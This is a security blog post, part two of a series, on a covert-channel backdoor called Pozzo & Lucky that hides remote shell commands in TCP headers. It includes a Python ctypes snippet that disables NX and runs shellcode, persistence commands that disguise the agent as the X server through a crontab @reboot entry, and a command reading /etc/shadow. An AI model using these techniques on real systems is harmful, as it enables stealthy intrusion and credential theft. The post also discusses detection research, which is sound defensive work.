That SYN-RST ping-pong resembles a Port Scan a lot more than a Remote Command Execution, so it doesn’t get blocked by IDS/IPS, as there are no signatures due to encryption (and they rarely look at layer 3-4 headers). A really well configured firewall device, with a configuration aware of each host usage (this is an SSH Server – allow just 22) may mitigate Pozzo & Lucky, but I haven’t seen a lot of them!

 

Problem Solving

Some problems have risen from part-1. Here I explain how I tackled them.

Surpassing the entropy problem

The problem with entropy is that when we could use any of the 256 bytes in every byte place in a random field, we just use a byte from the printable ASCII list, while generally excluding the Upper Case letters and numbers. This made the random fields contain very predictable data, thous lowering the data entropy.

The solution to this is Encryption. But we need a cipher with 6 byte blocks, or a stream cipher. And most of all, we need to do it with style… So I managed a custom One Time Pad  Scheme based on plain XOR and SHA512. A simple one, that doesn’t lack style at all!

The OTP Scheme

You get a passphrase, SHA512 it and get a key. With this key we XOR data, 6 bytes of data. The XORed data is securely encrypted as the key is a one-way function of the passphrase, which is our secret. To encrypt the next 6-byte chunk, we SHA512 the current key and reXOR. This way we never XOR with the same key, which eliminates the possibility of “cryptanalysis” using the known-plaintext technique. We also eliminate the possibility of prediction of the next keys, as even if we encrypt all the time the same 6 bytes (say “ls -la”), the key portion that can be retrieved each time is 6 bytes. With 6 bytes we lack enough information to produce the next key, as a whole key is of 512bits (64 bytes) long.

Plus, this way, by having the possibility to XOR with any possible byte (SHA512 returns a byte sequence containing all kinds of bytes) we get encrypted bytes in the whole 256 byte-range. And with even possibility each one… This means Entropy close to 1. This means data seemingly random.

 

Surpassing the Identity Problem

Who is your master?“. An RCE shell has to know how to answer this question. You can run commands remotely, that’s a good thing, but you MUST be the only one that can do that. The shell must identify your packets from packets of others. And to enclose an IP check in the shell agent program you have to hardcode your IP or a domain in it. You got caught just by thinking of it, unless you use techniques used in Exploit-Kits, like rapidly changing sub-domain names, and other things that lack style, and get caught and analyzed eventually!

Last time (part-1, if you haven’t read it by now, do me a favor…) we forgot about a field we can control in TCP and none cares in a port scan. The Source Port. “OK, you will think, let the packet come from port xxxx and then this is a packet to decrypt and execute“. Well, yes, but it lacks style too. So here goes:

Solving the “Who is your master?” problem

The thought of Source Port checking is correct up to a certain point. There is just a big catch. It is implemented as easily as it is observed by an analyst. If you get a .pcap file, with all kinds of Destination Ports and one Source Port (even with multiple Source IPs) you might suspect something.

  • Why a port scanner need to allocate port 23456 in multiple systems?
  • Is it hardcoded to do so?
  • Do you know any such port scanner?
  • Is it a common behavior?
  • Googling port 23456 returns nothing.

So there is something fishy going on.

In Pozzo & Lucky, we check the Source Port of the packets, but we don’t expect it to be the same all the time. There is a cycling algorithm for that too, just like the OTP Scheme above (it actually uses it).

A Source Port field contains 2 bytes. So 4 hex digits. We initialize the first (Most Significant) digit depending on a given passphrase (it has to be more that 8 – to always get high ports). Then we SHA512 the passphrase and get the first 3 hex digits of the hash. Concatenating them with the initial hex digit gives as 4 hex digits, or 2 bytes. Then we cycle the hash, by rehashing it and generate the next port.

This technique gives us different port numbers, in a totally unpredictable sequence for someone that doesn’t have the passphrase. Only the agent-program (Lucky) and the client (Pozzo) know the next correct port to communicate and the possibility of a stray packet with the correct Source Port is 1/65536, so quite slim.

 

Surpassing Inconsistent States (or the Dog Collar)

While slim, the possibility of the agent-program to receive a Correct Source Port stray packet (not created by the client-shell) is existent. If this happens, the agent is going to cycle to the next source port, cycle the encryption key, try to decrypt a packet that contains no stego and get gibberish that is gonna try to execute. A total out-of-control mess.

And it is out-of-control as the client knows nothing about the key cycles happened and will continue to encrypt with keys no longer recognized by the agent and send from a Source Port that the agent no longer hears from.

That means that we lost it. We lost RCE to the pwned machine. We have to re-exploit it and use another post-exploitation tool… But, remember, Pozzo was holding Lucky by a Dog Collar. He was able to reclaim him anytime.

The Dog Collar Implementation

There is of course a safety mechanism to prevent such tragedies. In the OTP Scheme a special Control Key is stored that does not get cycled. There is also a Control Source Port that the agent always accepts packets from and decrypts them with the Control Key. If such a packet contains a special RST payload then the OTP key and the Source Port cycling mechanism both reset.

That means that the whole communication can start from the beginning if jammed, without leaving any unencrypted trace.

 

A Long Payload is Longer than 5 bytes

There are commands like “find / -name ‘flag’ 2 > /dev/null” that exceed the 5 byte limit (+1 byte the opcode) of a single packet. Those commands should be chunked and delivered in multiple packets. And Lucky has to understand that the “find ” (notice the space – 1 byte!) isn’t the whole command and it has to wait for next packets to arrive.

There is also the case of “head -1 /etc/shadow” (to get just the hash of the root password). This command produces an output that reaches and exceeds 100 bytes. And they have to get delivered back to Pozzo. All of them. And Pozzo has to know when to wait for more output, and when the whole payload is delivered. Also Lucky never sends packets that aren’t responses to packets (remember only RST-ACKs).

The Protocol within a Protocol

If you can use Opcodes, then you can be stateful, and that means that you can know when to wait for more. There are Opcodes that declare that “more is coming, don’t execute just yet“. Opcodes that declare “this data is part of a command“, and Opcodes that declare “this data is the last of command. Execute it now“. It resembles the TCP chunking algorithm just without using data offsets. Ain’t no time and bandwidth for data offsets anyway! The OTP scheme ensures that if a packet is lost no later packet can be decrypted, so no partially executions are possible, and inconsistent states do get resolved.

What about Lucky’s long responses?

Lucky never sends a packet that is not a Response… That means that it has to inform Pozzo that he needs to talk. Then Pozzo starts sending random data (with a “talk” Opcode), only to accept meaningful responses. Lucky also declares when there is nothing left to say. And “the rest is silence” (till the next command).

 

Shellcode execution kills Lucky

When shellcode is delivered, in Linux is executed with the above ctypes snippet:

    libc = CDLL('libc.so.6')              # Loads libc
    sc = c_char_p(shellcode)              # creates a C string with shellcode
    size = len(shellcode)                 # gets shellcode's length (used later)
    addr = c_void_p(libc.valloc(size))    # allocates bytes of heap memory equal to the shellcode length.
    memmove(addr, sc, size)               # copies shellcode from stack variable(pointer) sc to heap memory that was just allocated
    libc.mprotect(addr, size, 0x7)        # disables NX protection of data memory
    run = cast(addr, CFUNCTYPE(c_void_p)) # casts the pointer to shellcode in heap to a function pointer
    run()                                 # jumps shellcode function pointer - runs the shellcode

Which copies it into heap memory, unlocks the NX protection for this memory chunk and jumps to it. So Lucky stops executing as EIP now points to the shellcode. No return is possible. Lucky will terminate whenever the shellcode terminates…

Just Fork It!

    p = Process(target=run)     # run the shellcode as independent process
    p.start()

instead of plain:

    run()

Took me a good to half hour of screen-staring…

In Windows the CreateThread() works as intended. That was a blessing as EIP can’t be tracked in Windows. None is really sure were EIP is in any given time. Not even its developers.

 

 It’s Show Time!

The Test

Start Lucky

# ./lucky.py mypassphrase

And Lucky starts happily. Uses the passphrase to create the OTPs and waits patiently…

Connect Pozzo

# ./pozzo.py target_ip mypassphrase

 

A real Infection

cp lucky.py /usr/sbin/X
printf "@reboot /usr/sbin/X --rootless -noreset\n" > /etc/crontab

Remember, the original X executable is located at /usr/bin directory… I personally don’t believe that a Sys Admin would realize that this process is a phony in a plain “ps aux“. Maybe an optimistic 4/10 of Sys Admins would catch this. You need tools to catch this guy, if you aren’t an observant geek!

And the passphrase for this Lucky instance is (yes, you guessed it!) “–rootless” (argv[1]). You can come up with any switch-like passphrase and use it. I know no man alive that knows all the X switches… And there will never be a man that will read X’s man (page)!

(Here we hacked a mind, not a PC. In my humble opinion that’s what “Hacking” is all about)

 

Passphrases can also be hardcoded in lucky.py, but this lacks style even more! And apart from the style part, strings command will return nothing (in a PyInstaller’d Lucky) if the passphrase is passed as an argument. Hidden in plain site.

 

 

Video Mode ON

The OS Shell

Here I run some linux commands in the Pozzo & Lucky while sniffing with tcpdump.

 

The Shellcode (ASM) Shell

Here I remotely run some shellcode I found online. The connection broke the first time I tried to deliver the shellcode so I restarted Pozzo to force a Reset Packet and get everything working again.

I also demonstrate that Lucky does not die after the shellcode termination by using the OS shell again.

Video Mode OFF

Concluding…

This project is closed-source at the moment as it is a part of a personal research which isn’t finished yet. Generally the whole idea has started to have an academical perspective as there are papers like “Embedding Covert Channels into TCP/IP” (Murdoch & Lewis, 2005) – I told you the idea isn’t new, that have to be cross checked (those guys propose algorithms that bust IP/TCP stego).

Additionally anyone can treat this article as a proposal for a tool and start writing his/her own implementation. My techniques aren’t the best (while full of style), and I am sure that some things can be done better. I learned a lot of things while writing Pozzo & Lucky, don’t lose the opportunity to do the same. And there are things (maybe a lot of things!) to be done! Here are some:

  • Write such a tool in an ASM compilable language (C++ maybe…)! It will be an overkill tool. As there will be no dependencies (and if there are you can always use –static).
  • Use another (innocent looking) protocol. What about ARP. ARPs aren’t blocked unless the Network admin is a madman and has locked ALL switch ports to MACs. And even if this happens, a Gratuitous ARP could be received by everyone in a LAN. I see some potential here…
  • Go for implementations for the pseudo-code given in the above paper. There can be Covert Channel filters. There can be a classification model to provide possibilities about whether a packet contains Stego. I mean, why aren’t there such things around?
  • I would really like to see a PF-Sense plugin for Stego filtering.
  • The list goes on (without me)…

 

 Part 3?

Sure, thanks for asking!

It will contain my research on detection and mitigation of such techniques. Going for an article targeted to Blue Teams!

There are some handles right now that might get us caught!

The entropy of the TCP Sequence Field is as high as /dev/urandom‘s entropy for the same number of bytes, sure, but what about distributions? The ISNs are created (by Operating Systems) using time as a “seed”, they aren’t entirely random. That means that they inevitably have a distribution. Does Pozzo & Lucky create ISN’s that resemble the same distribution? Most likely NO.

  • Can we determine if a packet stream contains Stego using this info?
  • If Yes, we need many packets (many values to identify the distribution).
  • How many?
  • How much data has to leak before we catch the culprit?

Research Everyone! Next time we aren’t gonna fire up “Scapy” but “Scipy“!
Next time there will be Fuction Curves and Integrals, along with Firewall and IDS logs! I can’t thing of anything better (girlfriends are pretty neat too)!

Keep tuned…

(Holly Cows, everything we can think of exists ! Fitter, for example! That’s why Python is my Business – and Business is good)

 

 

To Be Continued…